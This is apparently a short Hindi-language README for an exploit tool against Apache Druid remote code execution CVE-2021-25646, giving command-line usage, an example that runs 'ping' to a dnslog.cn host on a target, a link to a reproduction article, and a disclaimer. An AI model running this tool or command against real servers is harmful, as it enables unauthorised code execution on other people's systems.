Apache Druid दूरस्थ कोड निष्पादन CVE-2021-25646

j2ekim द्वारा

उपयोग विधि

  python exp.py -u [--url] -c [--command] 
  python cve-2021-25646.py -u http://127.0.0.1:8888 -c "ping 5ap7ta.dnslog.cn"

भेद्यता पुनरुत्पादन लेख

https://www.adminxe.com/2109.html

उपयोग नोटिस

इस उपकरण के प्रसार या उपयोग से होने वाले किसी भी प्रत्यक्ष या अप्रत्यक्ष परिणाम या हानि के लिए उपयोगकर्ता स्वयं जिम्मेदार है, लेखक इसके लिए कोई जिम्मेदारी नहीं लेता है।